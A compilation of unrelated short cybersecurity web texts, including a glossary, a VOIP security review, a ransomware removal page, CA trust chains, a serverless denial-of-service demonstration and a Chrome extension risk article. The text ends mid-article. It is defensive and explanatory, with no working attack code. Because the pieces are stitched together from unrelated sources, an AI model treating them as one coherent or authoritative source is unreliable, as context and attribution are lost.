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An Uptime Check pings a simple URL and monitors the response time and the response code. If an Uptime check fails Rigor will return a response code and a traceroute.
Uptime checks validate based on response codes or simple success criteria.
There are three basic types of Uptime checks:
- HTTP: ideal for checking the Uptime or response of a single URL or endpoint
- Port: monitor popular or custom ports on your servers via TCP or UDP protocol |
a practical guide to cyber security acronyms
# A Practical Guide to Understanding Cyber Security Acronyms
In the ever-evolving field of cybersecurity, professionals use numerous acronyms to refer to various concepts, technologies, and practices. These acronyms can be overwhelming for those who are new to the industry or trying to understand the language used by experts. This practical guide aims to provide a comprehensive explanation of the most commonly used cyber security acronyms, allowing readers to develop a clear understanding of the terminology and concepts. Whether you are a beginner or an experienced professional, this article will serve as a valuable resource in enhancing your knowledge of cyber security.
## Table of Contents
1. Understanding Cyber Security Acronyms
2. Common Cyber Security Acronyms Explained
– H1: CIA (Confidentiality, Integrity, Availability)
– H2: IDS (Intrusion Detection System)
– H2: VPN (Virtual Private Network)
– H2: BYOD (Bring Your Own Device)
– H2: DLP (Data Loss Prevention)
– H2: SIEM (Security Information and Event Management)
– H2: XSS (Cross-Site Scripting)
– H2: SSL/TLS (Secure Sockets Layer/Transport Layer Security)
– H2: MFA (Multi-Factor Authentication)
– H2: SOC (Security Operations Center)
3. The Importance of Cyber Security Acronyms
4. How to Stay Updated with Cyber Security Acronyms
## Common Cyber Security Acronyms Explained
### H1: CIA (Confidentiality, Integrity, Availability)
CIA is an acronym widely used in cyber security, referring to the key principles of information security. Confidentiality ensures that sensitive information is accessible only to authorized individuals. Integrity emphasizes the accuracy and consistency of data, ensuring that it is not altered or modified without proper authorization. Availability ensures that information and systems are accessible and usable whenever needed, preventing any unauthorized disruptions.
### H2: IDS (Intrusion Detection System)
An IDS is a security tool used to monitor network traffic and detect potential security breaches or attacks. It analyzes the data flowing through a network and identifies any suspicious activities or anomalies that could indicate unauthorized access or malicious activities. IDSs play a crucial role in maintaining the security of networks by alerting administrators about potential threats, allowing timely mitigation actions.
### H2: VPN (Virtual Private Network)
A VPN is a secure and encrypted connection between two or more devices over a public network, such as the internet. It creates a private network by encrypting data and routing it through a server located in a different geographic location. VPNs provide a secure way of accessing or transmitting data, making it difficult for unauthorized individuals to intercept or compromise the information.
### H2: BYOD (Bring Your Own Device)
BYOD refers to the practice of allowing employees to use their personal devices, such as smartphones or laptops, for work-related purposes. While it offers flexibility and convenience, this practice also introduces various security risks. Organizations need to implement robust policies and security measures to ensure the protection of corporate data while accommodating the use of personal devices.
### H2: DLP (Data Loss Prevention)
DLP refers to the strategies, technologies, and processes implemented to prevent unauthorized access, loss, or exposure of sensitive data. It involves identifying sensitive data, classifying it, implementing access controls, and monitoring data usage to prevent data breaches, leaks, or accidental exposure. DLP solutions are instrumental in protecting organizations from data loss and complying with data protection regulations.
### H2: SIEM (Security Information and Event Management)
SIEM is a combination of security information management (SIM) and security event management (SEM). It refers to a comprehensive approach to managing security incidents and events within an organization’s IT environment. SIEM solutions collect and analyze security-related data from various sources, providing real-time monitoring, event correlation, and robust reporting capabilities to detect and respond to potential security incidents effectively.
### H2: XSS (Cross-Site Scripting)
XSS is a web application vulnerability that allows attackers to inject malicious scripts into web pages viewed by users. These scripts can be used to steal sensitive information, manipulate website content, or redirect users to malicious websites. Web developers and security professionals employ various techniques to prevent XSS attacks, such as input validation, output encoding, and strong security configurations.
### H2: SSL/TLS (Secure Sockets Layer/Transport Layer Security)
SSL and TLS are cryptographic protocols used to secure communications over computer networks. They provide encryption and authentication mechanisms, ensuring the confidentiality and integrity of data transmitted between clients and servers. SSL/TLS protocols are commonly used to secure online transactions, email communications, and other sensitive data transfers.
### H2: MFA (Multi-Factor Authentication)
MFA refers to the authentication method that requires users to provide multiple pieces of evidence to verify their identity. It typically combines something the user knows (e.g., password), something the user possesses (e.g., physical token), and/or something the user is (e.g., biometric data). MFA adds an extra layer of security, reducing the risk of unauthorized access even if one factor is compromised.
### H2: SOC (Security Operations Center)
A SOC is a centralized unit within an organization responsible for monitoring, detecting, and responding to security incidents. It consists of security analysts, tools, and processes that work together to identify and mitigate threats or vulnerabilities in real-time. SOCs play a crucial role in proactively defending against cyber threats, investigating incidents, and ensuring the overall security posture of an organization.
## The Importance of Cyber Security Acronyms
Understanding cyber security acronyms is vital for effective communication, collaboration, and knowledge-sharing within the cybersecurity community. Professionals often use acronyms to convey complex concepts quickly and efficiently. Familiarity with these acronyms enables individuals to comprehend technical discussions, research papers, industry news, and security alerts, enhancing their ability to respond to cyber threats effectively. Additionally, knowledge of cyber security acronyms allows organizations to develop robust security strategies and implement appropriate security controls to safeguard their assets.
## How to Stay Updated with Cyber Security Acronyms
Staying updated with cyber security acronyms requires continuous learning and engagement with the cybersecurity community. Here are some helpful tips:
1. Stay Active on Cybersecurity Forums and Communities: Participate in online forums and communities where professionals discuss cyber security trends, acronyms, and best practices.
2. Subscribe to Industry Newsletters: Sign up for newsletters and publications from reputable cyber security organizations and vendors to receive regular updates on the latest acronyms and industry developments.
3. Attend Cyber Security Conferences and Events: Attend conferences, seminars, webinars, and workshops focused on cyber security to stay up-to-date with emerging technologies, trends, and acronyms.
4. Follow Influential Cybersecurity Blogs and Social Media Accounts: Follow renowned cybersecurity bloggers, influencers, and industry professionals on social media platforms to get real-time updates and insights on cyber security acronyms.
5. Continuously Educate Yourself: Enroll in cybersecurity training programs, certifications, or online courses that cover cyber security acronyms and related topics. These programs will equip you with the knowledge and skills necessary to understand and utilize the terminology effectively.
## Frequently Asked Questions (FAQs)
### FAQ 1: What are some common cyber security acronyms used in network security?
Some common cyber security acronyms used in network security include IDS (Intrusion Detection System), IPS (Intrusion Prevention System), VPN (Virtual Private Network), DLP (Data Loss Prevention), and SIEM (Security Information and Event Management).
### FAQ 2: How can I protect my organization from XSS attacks?
To protect your organization from XSS attacks, you can implement secure coding practices, input validation mechanisms, output encoding techniques, and perform regular security assessments. Educating your development team and keeping software and web applications updated also helps prevent XSS vulnerabilities.
### FAQ 3: What is the difference between SSL and TLS?
SSL (Secure Sockets Layer) and TLS (Transport Layer Security) are cryptographic protocols that secure data transmissions over computer networks. The main difference is that TLS is the updated version of SSL, offering enhanced security features and addressing vulnerabilities found in older versions of SSL. TLS is considered to be more secure and is widely used in modern web applications and services.
### FAQ 4: What is the role of MFA in enhancing security?
Multi-Factor Authentication (MFA) adds an additional layer of security by requiring users to provide multiple authentication factors to access a system or application. This reduces the risk of unauthorized access, even if one factor, such as a password, is compromised. MFA is widely considered an effective method to protect sensitive information and prevent unauthorized access to systems.
### FAQ 5: How can I establish a Security Operations Center (SOC) for my organization?
To establish a Security Operations Center (SOC) for your organization, you need to first determine your organization’s specific security requirements, budget, and available resources. Once that is defined, you can set up the necessary infrastructure, hire or train security analysts, acquire suitable security tools and technologies, and establish effective incident response and monitoring procedures. It is also crucial to continuously assess and improve the SOC’s capabilities to address evolving cyber threats.
Understanding cyber security acronyms is essential for professionals in the industry and anyone seeking to enhance their knowledge of cyber security. This comprehensive guide has provided explanations of common cyber security acronyms, enabling readers to develop a clear understanding of the terminology used in the field. By staying informed and continuously learning about cyber security acronyms and their associated concepts, individuals and organizations can effectively protect their digital assets and respond to emerging cyber threats. Stay curious, engaged, and proactive in your cyber security journey. |
VOIP: What? Me Worry?By Andrew Garcia | Posted 02-16-2007
As VOIP systems proliferate, so, too, must the measures taken to secure them. Luckily for IT administrators, several resources are available to help them do just that.
In the book "Hacking Exposed VOIP: Voice over IP Security Secrets & Solutions," for example, authors David Endler (director of security research at TippingPoint) and Mark Collier (chief technology officer of SecureLogix) bring to life the imminent threat of VOIP attacks, describing in detail how an attacker could discover, enumerate, probe and eventually co-opt an existing voice network.
Moreover, the book provides a useful starting place for VOIP adopters to begin shoring up their own networks.
The $50, 539-page book is a must-read for IT administrators, particularly those who are managing a voice network but are not totally comfortable with the technologyand are perhaps relying too much on resellers for the stability and security of the network.
Endler and Collier also have created several tools to automate voice-specific scans and penetration attacks of commonly used end-user devices and VOIP infrastructure components. These tools, along with Google hacking tips and a database of stock voicemail recordings, can be found on the book's companion Web site.
Another good resource is VOIPSA, or Voice over IP Security Alliance, which has put together a number of useful tools. The Threat Taxonomy, for example, enumerates known types of attacks and organizes them into general categories.
These include social threats, eavesdropping, or interception and modification. The group also maintains a best-practices mailing list that is still in the organizational stage but holds great promise. Data and voice ties.
The health of a VOIP network is tied to the health of the data network. Beyond throughput and latency demands, VOIP relies heavily on several legacy data services to operate correctly. For example, VOIP administrators should think about shoring up services such as DNS (Domain Name Service), DHCP (Dynamic Host Configuration Protocol) and TFTP (Trivial File Transfer Protocol)bedrocks of the network that may have been forgotten because, in most circumstances, they just work.
All of that said, isolating voice traffic should be a priority, as malware-infested desktops or servers could be used as a launchpad for attacks against a voice system that is not otherwise exposed to Internet traffic. Maintaining separate VLANs (virtual LANs) for voice and data traffic is a worthy endeavor: It will isolate VOIP components to some extent from other endpoints, with the added benefit that QOS (quality of service) will be easier to implement.
However, VOIP implementers may have to make some hard decisions about the role of IP softphones in the network because the workstations on which they are installed should be separated from the voice network, too.
Assuring call privacy through the use of encryption (of the voice payload, call signaling or both) has been a nonstarter for many VOIP adopters because call quality has traditionally trumped security as the primary objective. Many common voice-quality monitoring and assessment tools aren't effective on an encrypted stream, and IT staffers certainly can't record and play back encrypted voice calls to manually ensure call quality.
However, some new assessment tools are coming down the pike that can estimate call quality by measuring factors that can be derived from an encrypted stream, such as latency and jitter. For example, at the RSA Conference in San Francisco Feb. 5-9, AirMagnet demonstrated its AirMagnet VoFi Analyzer, which includes the ability to derive an MOS (mean opinion score) and R-values from metrics gathered without actual access to call payload.
Any of the tools mentioned here will help administrators lock down their VOIP systems, but, in general, admins must become more acquainted with the tricks of the trade. Just as they learned to use penetration testing and assessment tools for the data network, administrators must grow their skills to adapt to the vicissitudes of VOIP.
Technical Analyst Andrew Garcia can be reached at [email protected].
Check out eWEEK.com's for the latest news, views and analysis on voice over IP and telephony. |
Understand MIP Labels
Microsoft Information Protection (MIP) is the unification of Microsoft's classification, labeling, and protection services:
- Unified administration is provided across Office 365, Azure Information Protection, Windows Information Protection, and other Microsoft services.
- Third parties can use the MIP SDK to integrate with applications, using a standard, consistent data labeling schema and protection service.
MIP technology integration allows adding labels to documents. The label may have any security policy assigned, for example, the policy to restrict access to sensitive documents. Netwrix Data Classification for Files and Folders supports MIP labels as a Workflow action. Review the following for additional information: |
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Service Oriented architecture (SOA) on Mobile Ad hoc NETwork (MANET) promotes the effort to deploy the day to day business and other services over the ad hoc mobile environments. In this paper several research challenges have been summarized related to the service publishing, registration indexing, availability, discovery and composition on dynamic environment of MANET. Several general issues related to SOA which may affect the functionality of MANET, also have been raised. Moreover, various security issues related to service deployment in MANET have been discussed. The research issues have been categorized based on the related underlying architectures of MANET like, centralized, distributed and peer-to-peer (P2P).
Date of Conference: 26-29 July 2011 |
.lightning Ransomware File Extension is a malicious application that encrypts various files and adds .[[email protected]].lightning extension to their titles. Users who come across it should know the malware locks files with a robust encryption algorithm, which makes it impossible to unlock them without a decryptor. Thus, if you do not want to deal with the hackers behind this threat and risk your savings, we advise deleting .lightning Ransomware File Extension from the system and then replacing encrypted files with backup copies (emergency copies you could be keeping on cloud storage or removable media devices). For more information about the malicious application we invite you to read the rest of our report. As for instructions on how to get rid of it, you can find them a bit below the text.
Many ransomware applications are distributed via Spam emails, malicious file-sharing web pages, and so on. Therefore, to avoid them it is vital to keep away from files offered on questionable web pages, for example, torrent and other file-sharing websites, or received with emails from unknown senders. Besides, it is always best to scan suspicious files with an antimalware tool before interacting with them. As the old saying goes, it is better to be safe than sorry. Thus, if you do not have a reliable security tool that could warn you about threats and keep your system secure, we would recommend considering obtaining it.
As mentioned earlier, once .lightning Ransomware File Extension encrypts the user’s files it should mark them with a particular extension. According to our specialists, a file called nature.jpg would turn into nature.jpg.[[email protected]].lightning. Also, it seems the malware should target various pictures, documents, video files, and other data considered to be private. Meaning, data belonging to the computer’s operating system or other software installed on the device should not be locked. The next thing .lightning Ransomware File Extension ought to do is display a ransom note, which should be available on a text document called !=How_to_decrypt_files=!.txt. The message ensures the hackers can help victims restore their files for paying a ransom. However, it is not said how much it is. The malware’s ransom note only claims the price will be doubled every seven days.
Needless to say, it would be unwise to trust hackers, and it is entirely possible users who put up with their demands could end up being scammed. Provided, you do not want to be tricked and risk losing your savings in vain, we advise deleting .lightning Ransomware File Extension from the computer. It can be removed manually if you follow the instructions available below. Once it is gone, it should be safe to replace encrypted files with backup copies. Of course, to be safe, it might be a good idea to make sure the malicious application is gone and to check if there are no other possible threats by scanning the computer with a reliable security tool. You can use antimalware software to remove the malware too if you do not feel like erasing it manually. Lastly, should you have any questions about it, do not forget there is a comments section at the end of this page. |
Android recently issued a list of root certificates that it has added to Android 14. While this move isn't altogether surprising, it’s interesting to note that some root certificates have also been removed from the approved list. These include those from household names in the certificate authority (CA) space, such as VeriSign Universal Root Certification Authority and Chambers of Commerce Root.
Why did Android make this shift? Most likely because of the increasing number of malicious certificate authorities issuing fraudulent certificates. A fake certificate authority compromises your security, enabling the criminal who issued it to steal data in transit. But with a sound certificate issuance process, you can rest assured that your certificates are legitimate.
While Android 14 users can breathe a sigh of relief, thanks to the system's approved certificate list, others face a difficult question: How do I know where my certificate came from? Is it legit?
The answers are simple once you understand the certificate authority hierarchy. Here’s a breakdown of what this is, how it works, and the links in the chain.
Understanding CA Hierarchy and Trust Chains
Whether you’re using Transport Layer Security (TLS) or Secure Sockets Layer (SSL) security, the CA hierarchy defines the relationships between CAs and end users. The hierarchy is relatively simple, and you can think of it as a tree.
First, you have the root certificates, of which there are relatively few. These provide certificates to intermediate CAs, who then issue them to end entities or end users.
The paths the certificates follow as they move from one entity to another are called trust chains. Every time a site, device, or application presents a certificate, the recipient’s system checks the validity of the trust chain. If the recipient’s system detects an illegitimate entity in the chain, it rejects the certificate and stops the communication or data transfer.
Because the roles and responsibilities of each party differ, here’s an explanation of what’s involved at each phase of the hierarchy.
A certificate authority issues and signs root certificates. Examples of trusted CAs that serve as the primary issuers of certificates are Sectigo, Entrust, DigiCert, and QuoVadis.
To use the popular passport illustration, if certificates are like passports, then root certificate issuers would be the equivalent of the United States government or another country. They’re in charge of making sure each certificate is legitimate, as well as maintaining the integrity of their internal systems. A valid internal system is crucial—root CAs must diligently verify the legitimacy of the parties to whom they grant certificates.
Intermediate certificates come from intermediate certificate authorities. These are those the root CAs authorize to issue certificates on their behalf. Intermediate CAs serve a few purposes, each of which helps establish trust and efficiency in the trust chain:
- They add an element of decentralization to the trust chain because they assume a role similar to that of root CAs.
- Intermediate CAs enable a scalable certificate system because they can act as intermediaries between root CAs and end entities. By simply adding a new, trusted intermediate CA, a root CA can expand its ability to issue certificates.
- They add an extra layer of trust because they have to verify the legitimacy of each certificate the root CA allows them to issue. This creates a more secure system.
End-entity certificates are also referred to as “leaf” certificates because they’re at the other end of the tree—on the opposite side of the root. End-entity certificates have two essential components:
- The public key the end entity uses to initiate communications
- The root CA's digital signature that verifies the certificate’s authenticity
Devices, sites, and applications use the end-entity certificate to establish secure connections. When the end entity presents its certificate, the recipient checks the trust chain associated with the certificate to make sure it’s valid.
For example, if the trust chain analysis reveals an illegitimate certificate issuer, the recipient will block communication between itself and the end entity. Stopping this interaction is an important security step. For instance, preventing the digital handshake from happening could prevent a hacker from presenting a malware-infected application or fake website.
Efficiently Manage Your Certificate Hierarchies
The certificate hierarchy provides users with reliable certificates that enable secure, encrypted communications with trusted parties. The root certificate authority provides the original certificate and then issues it to an intermediate certificate authority. The intermediate CA then has the power to issue the certificate to end entities.
Sectigo is a trusted commercial CA that provides comprehensive certificate management, so you never have to question where your certificates come from or worry about them expiring without notice. Contact Sectigo today to learn more. |
Defining what static bypass does when going through the ProxySG vs. creating an "Allow" rule for a URL.
The static bypass list is strictly for IP addresses that are either used for source or destination. By statically bypassing the IP address on the ProxySG, (Configuration > Services > Proxy Services > Static Bypass List) you are sending the traffic through the ProxySG without applying any SG services to it. In other words, by adding entries in the static bypass list you can prevent the ProxySG appliance from intercepting requests from a specified system.
As for creating a rule to "Allow" a URL site in a Web Access Layer, the entire rule will be evaluated through the policy layers in the order in which they are listed in the Visual Policy Manager (VPM). |
Penetration Testing is a crucial step in a company’s overall security posture. A Penetration Test takes an offensive approach to security by mimicking techniques and methodologies that would be used by a real-life malicious attacker. It is often required to satisfy insurance and policy requirements. The test takes a simulated approach to finding vulnerabilities, weaknesses and misconfigurations in Network, Web Application, Mobile and Physical security. The purpose of the test is to identify any vulnerabilities before an attacker does.
Penetration testing is not the only step in a strong security posture, but it should be used regularly alongside defensive and management strategies.
Penetration testers need to know every way an attacker can get into a network, an attacker just needs to get lucky with one.
Consultant led Penetration Testing should take place every six months to ensure that all of your applications and infrastructure are in good shape and do not present any vulnerabilities or security misconfigurations. It is also recommended that monthly vulnerability scans are conducted during this time to pick up any obvious changes or vulnerabilities. This may be that a bit of software in use on an application or server has had a vulnerability published that allows remote code execution. Vulnerability scans should not be thought of as a Penetration test or used in place of Penetration testing, as automated scanners are not typically intuitive and struggle to test for vulnerabilities in business logic.
Finally, monitoring software should be used to identify any threats in real time. This is known as PTaaS (Penetration Testing as as service) and ensures that your organisations applications and/or infrastructure are constantly assessed.
Web Applications that are exposed to the internet are used by Businesses and Organisations all over the world. Web sites used to be very simple as their only purpose was to retrieve and display static text and pictures, however, as technology has become more advanced Web sites have turned into Web Applications with dynamic functionality and session management. In recent years there have been a lot of publicised vulnerabilities, from cross-site request forgery to card skimming.
What are the benefits of Web Application Penetration Testing?
A company’s infrastructure, external or internal defines a group of computers that store sensitive data about employees, clients and often host business critical software. If this information is stolen and released it can result in serious loss of reputation, fines and potentially criminal charges.
What are the benefits of Infrastructure Penetration Testing?
Social engineering is used to assess the human element in your company’s infrastructure. This can range from physical intrusion to phishing campaigns and is often used to test how well awareness training is received by employees. The human element is often, and incorrectly, overlooked as this is where the majority of successful attacks take place. According to U.S. Chamber of Commerce’s Cybersecurity Summit – Sophisticated emails facilitate 90% of successful cyber attacks.
What are the benefits of Social Engineering? |
Security Center Advanced Edition and Enterprise Edition can detect suspicious network connections.
The following alert is displayed in the Security Center console: Suspicious Network Connection-Active Connection to Malicious Download Source.
- Log on to the Security Center console. On the Alerts page, click Suspicious Network Connection-Active Connection to Malicious Download Source to open the alert details page.
- Check whether the process is executed by you based on the process path and ID displayed
on the alert details page. If not, the process is a malicious process. Perform step
Note If the process is executed by you, it is a normal process. Click Ignore Once and the status of the alert will change to Handled in the Security Center console. If the alert is reported for consecutive times, you can click Label as False Positive and Security Center will no longer send alerts for the process.
- Identify all malicious processes related to the alert based on the process path and ID displayed on the alert details page. Then, manually remove these malicious processes from your server.
- If the IP address of the malicious process is displayed on the alert details page, you can add a security group rule to block access to the malicious IP address. For more information about how to add security group rules, see Add security group rules. |
Date of Award
Doctor of Philosophy (PhD)
Business and Information Systems
Dr. Wayne Pauli
Dr. Josh Stroschein
Dr. Jun Liu
Malware authors attempt to obfuscate and hide their execution objectives in their program’s static and dynamic states. This paper provides a novel approach to aid analysis by introducing a malware analysis tool which is quick to set up and use with respect to other existing tools. The tool allows for the intercepting and capturing of malware artifacts while providing dynamic control of process flow. Capturing malware artifacts allows an analyst to more quickly and comprehensively understand malware behavior and obfuscation techniques and doing so interactively allows multiple code paths to be explored. The faster that malware can be analyzed the quicker the systems and data compromised by it can be determined and its infection stopped. This research proposes an instantiation of an interactive malware analysis and artifact capture tool.
Wright, Dallas, "A Malware Analysis and Artifact Capture Tool" (2019). Masters Theses & Doctoral Dissertations. 327. |
The Trusted sites zone
is a security zone for
sites that you think are safe to visit. You believe that the site is designed
with security in mind and that it can be trusted not to contain malicious
content. To add or remove sites from this zone, you can click the Sites button.
This will open a secondary window listing the sites that you trust and
permitting you to add or remove them. You may also require that only verified
sites (HTTPS) can be included in this zone. This gives you greater assurance
that the site you are visiting is the site that it claims to be.
The US-CERT recommends setting the
security level for the Trusted sites zone to Medium-high (or Medium for
Internet Explorer 6 and earlier). |
In traditional applications, security misconfiguration can happen at any level of an application stack, including network services, platform, web server, application server, database, frameworks, custom code, and preinstalled virtual machines, containers, or storage. Luckily, almost none of that has anything to do with serverless.
The network services, platform, database, frameworks, VMs all of that belongs to the cloud provider. Containers? We’re passed that. Servers? What are those?
Okay, okay. We can still have some configurations to do in our cloud resources. Cloud storage and cloud databases do encrypt data at rest by default. But, we could provide our own keys for encryption for stronger security, or even more separations if we’re using it in a multitenant architecture. Cloud storage as well has another significant configuration that is under our responsibility— access-control for the objects stored in it.
As I demonstrated in a previous blog in the series, if we misconfigure our cloud storage, it could end up hurting us. So, where does misconfiguration impact serverless most? There are a couple of things you might not consider in a monolithic environment that shift a little when we move to a serverless architecture. For instance, unused pages are replaced with unlinked triggers, unprotected files and directories are changed to public resources (e.g. public cloud storage), etc.
Attackers can also try to identify misconfigured functions with long timeouts or low concurrency limits in order to cause Denial of Service (DoS). Additionally, functions which contain unprotected secrets, like keys and tokens in the code or environment variables, could eventually result in sensitive information leakage. Functions with long timeout configuration give an attacker the opportunity to make their exploit run longer and do more damage, or just cause an increased charge for the function execution.
Functions with low concurrency limit configuration, could easily end up in DoS. All the attacker needs to do is invoke the misconfigured function enough times to make it unavailable, and you pay for it too!
If you’re thinking “then, I’ll just set the max concurrency limit.” Well. then you’ve got yourself a Denial of Wallet (DoW), which can also be referred to as Exhaustion of Financial resources. So what to do? Configure the right amount, but make sure you’re not open on other locations. If the function is triggered through the API gateway, then you can also add some validations on incoming requests and configure caching, which will help prevent malicious requests from getting into your function.
Let’s explore this and see how it plays out. For this demo, I’ve created a function that is triggered via rest API calls. All the function does is sleep for 3-seconds. The function itself is configured with a 5-second timeout. Additionally, the function is configured with 10 reserve concurrency.
Calling the function once will get us:
Now, let’s run the following simplest 4 lines-of-code threading script (which I have spread over 10 lines to make it easier on your eyes), to invoke this function 32 times in parallel:
As you can see, only 10 requests got the 200: ok response. While, the rest failed, with the response coming back faster. Running this again, 1000 times and looking at CloudWatch metrics shows the same thing. 10 concurrent executions and ~980 throttles:
If we require an API key or a header, we can simply configure that under the API gateway. This will completely eliminate any unauthenticated attacker from invoking the function, with 403 on all requests:
But, let’s assume that it’s an open API or that the attacker is authenticated. We can configure the API Gateway to handle the throttles for us. This means the “too many requests” will not be able to run, but at least we won’t pay for it either:
As you can see, most incoming requests received the 429 response status code from the API gateway and have never arrived into the function itself. But, then again…it’s still a DoS; we just didn’t pay for the Lambda invocations. In addition, we could add caching if the response is static enough. This takes a few minutes to get into action:
There’s a price for everything. So, you need to consider what works best for you.
This is of course, only one configuration scenario. But since we ran out of time… (well, my time). Then it will have to do.
So, what else should we do to protect against security misconfigurations? Oh, lots!
For API Gateway:
For Cloud storage:
Use automatic tools that detect security misconfigurations in serverless applications. Oh, we offer that 🙂 |
Group policies provide a way to configure settings for a group of users or computers and have those settings replicated throughout an organization or enterprise. These settings range from basic interface settings (such as how the taskbar behaves) to settings that modify how a client works on the corporate network (such as looking for system updates from a Microsoft Windows Server Update Service server).
As new versions of Windows are released, new group policies are made available to take advantage of new system components, apps, and features. Conversely, some group policies are removed for security or other reasons not explained by Microsoft.
Understanding Windows 10 Group Policies
When you are responsible for multiple computers, whether it's as few as 100 computers or as many as thousands, you need a way to establish baseline installations of your Windows 10 environment. Creating and managing images is one good way to set this baseline of applications, components, networking settings, device drivers, and the like. Chapter 36 discusses imaging.
However, once you get an image set and deployed, sometimes (or most likely always) you need to make a change to your clients, but you don't have time or the personnel to re-image all systems for that one, minor change. ... |
2016.10.19(wed) ‘IoTcube: an automated analysis platform for finding security vulnerabilities’ – Heejo Lee 이희조교수 (Korea University 고려대학교)
-Titile: IoTcube: An Automated Analysis Platform for Finding Security Vulnerabilities
Heejo Lee is a Professor at the Department of Computer Science and Engineering, Korea University, Seoul, Korea, and a Director of the Center for Software Security and Assurance (CSSA). Before joining Korea University, he was at AhnLab, Inc. as a CTO from 2001 to 2003. From 2000 to 2001, he was a Postdoctorate Researcher at the Department of Computer Science and CERIAS at Purdue University. In 2010, he was a visiting professor at CyLab/CMU. Dr. Lee received his B.S., M.S., Ph.D. degree in Computer Science and Engineering from POSTECH, Pohang, Korea. Dr. Lee serves as an editor of the Journal of Communications and Networks, and the International Journal of Network Management. He has been working on the consultation of the cyber security in the Philippines (2006), Uzbekistan (2007), Vietnam (2009), Myanmar (2011), Costa Rica (2013) and Cambodia (2015). He is a recipient of the (ISC)^2 ISLA award of the community service star in 2016.
The increasing popularity of the Internet-of-Things (IoT) has driven exponential growth in the number of IoT devices, which implies that a single vulnerability can be a critical life-threatening issue as shown in cases of automobiles and airplanes. Center for Software Security and Assurance (CSSA) is established for joint research with Korea University, CMU, Oxford University, ETH and KISA. The research in CSSA aims to develop core technologies to analyze and verify potential security vulnerabilities posed by IoT software and develop an automated analysis platform called IoTcube for enabling even non-security professionals to examine security vulnerabilities professionally. In this talk, the technologies in IoTcube and its ongoing efforts will be introduced including blackbox testing, whitebox testing, and network testing. |
A Browsing Challenge
Analysts are challenging malicious extension risks
- By David Pearson
- Sep 01, 2018
Google Chrome is largely considered one
of the most security-conscious browsers,
but recent headlines revealed some of its
weaknesses. Reporting indicates that four
of Chrome’s most popular extensions, which
have amassed more than 500,000 downloads
in total, are thought to be malicious.
The suspect extensions have since been banned from the
Chrome Web Store, but the news highlights the inherent risk of
browsers and third-party apps, which warrant deeper examination.
Ongoing Browser Extension Risks
Google has made significant efforts to enhance the security of
its browser. In addition to more commonly-known measures, the
company invests in bug bounties and other competitions to help
root out some of the major problems that could be exploited by
a high-skilled attacker, and takes a forward-thinking approach
when it comes to user privacy. These measures do make it harder
for hackers, but with so much market share and interest from the
security community, vulnerabilities will continue to be discovered.
Additionally, because extensions are generally created by
third-party vendors, it’s a great source of unknown.
When it comes to extensions, Chrome requires downloads directly
from the Chrome Web Store for major OSes (Windows/
OS X). However, it doesn’t seem as though there are any security
checks conducted on these extensions before they’re published.
This means it would take a critical mass of security-related complaints
before Chrome would be made aware of any problem.
That’s not to blame Google—even if its extensions were subject
to the same scrutiny used for Android apps in the Google Play Store, no checks are perfect. We still see news about malicious
apps making their way into the public arena in the Google Play
Store several times a year.
With communications allowed between extensions, it’s also
theoretically possible for an adversary with two or more extensions
installed on a user’s browser to covertly pass information or
perform different parts of an attack on the system. Then, there’s
the problem of very carefully-hidden Trojan extensions and the
ability to hijack and implant code into a trusted developer’s development
system. These are all potential ways in for persistent
and sophisticated attackers.
This is not to pick on Chrome—other browsers absolutely
hold malicious extensions. Firefox still allows add-ons (their extensions)
to be hosted external to their store, which eliminates a
central point for management. Its publishing process is also less
than rigorous, and seems to focus only on code correctness. And
while Safari does review extensions before including them in the
App Store, we still hear of malicious apps appearing there from
time to time.
Identifying Malicious Extensions
For security analysts, identifying malicious extensions is no easy
task. They aren’t going to show up in places analysts typically
monitor such as CMDBs or logs. The only way to find them is
on the network. If analysts are looking for something that the extension
happens to do—such as leaking passwords in an obvious
way or matching a network signature or indicator of compromise
for malicious activity—it’s possible that their security tools will
generate alerts pointing them to the related traffic that occurs after
If the tool an analyst is using has the ability to parse HTTP
headers in a meaningful way, they may also be able to find malicious
extensions by identifying these behaviors while looking for
the Chrome-Extension value within the header. With more flexible
query language offered by cutting-edge tools, it’s easy to become
more or less specific with respect to what you’re looking for
within HTTP, whether it be the headers or some other location.
In short, the original discovery of the malicious extension information
and ways it is stored would likely be by chance or by deep
investigation. However, if a tool the analyst uses has the ability to
spot malicious activity, then the hard work of identifying the bad
extension can be done by one researcher and reused by many.
The Challenge in Responding
to Malicious Extensions
While finding a malicious extension is a major challenge, it’s
still only the first step. The ability to contextualize the behavior
associated with the session with respect to the device and its
peers is where the baggage of current-version technologies slows
Once a malicious extension is detected, analysts will quickly
want to know what to do to stop the bleeding. Are any external
communications related to this? Is any information being exfiltrated?
What kinds of attacks are occurring internally? Is any pivoting/
lateral movement behavior happening with stolen credentials,
possibly accessing more sensitive data? They’ll also quickly
want to know who else is affected—spanning both devices, and
users—when they were infected, which browsers and versions are
impacted, whether the decision to install the extension was completely
voluntary and more.
Each of the above steps can take tens of minutes to hours—
and in some cases, they are impossible given time constraints and
resources. The overall security maturity of the organization, and
whether or not the security development team has created homegrown
solutions to unify typically disparate pieces of information
and infrastructure, will determine how effectively this workflow
can be handled.
Today, overburdened analysts will typically only do this type
of thorough investigation if there’s enough certainty that this is
a truly serious incident—there are simply not enough human resources,
nor the right incentives in the SOC, to do this deep level
of work for naught. Moreover, the problem is exacerbated since
existing security technologies provide little to no context—leaving
it to the analyst to figure things out.
At Awake Security, we call this problem the Investigation Gap.
After prevention methods fail, potential threats are detected and
security alerts are generated, the time-consuming and manual
heavy-lifting of an investigation falls to the analysts before any
remediation steps can be taken. If an organization’s security tools
miss a potential threat and no alert is generated, it falls on the
analysts to find time to threat hunt and identify malicious activity
on their own—a task that’s nearly impossible in most SOCs given
their existing alert investigation workload.
The recent Chrome news put a spotlight on malicious browser
extensions that underscores the risk incurred when trust is given
to third parties. Often that trust is not well understood when
given, and quickly forgotten. However, it also points to a deeper
underlying issue for analysts working to identify malicious extensions
and mitigate their harmful effects.
It’s critical that we find new ways to give analysts deep visibility
into the network and streamline their time spent getting from
questions to answers during their investigations. Only then will
we start gaining ground on this type of challenge.
This article originally appeared in the September 2018 issue of Security Today. |
Malware Detection: The Essential Guide for Effective Cybersecurity
In today's digital age, cybersecurity has become a critical concern for both individuals and organizations. The proliferation of malicious cyber threats such as malware, viruses, and ransomware has made it imperative to deploy effective cybersecurity measures, including malware detection. Malware detection refers to the process of identifying and removing malicious software or code from computer systems, networks, and devices. This article provides a comprehensive guide to such malware detection, including how it works, how to succeed, benefits, challenges, tools, and best practices.
How Does Such Malware Detection Work?
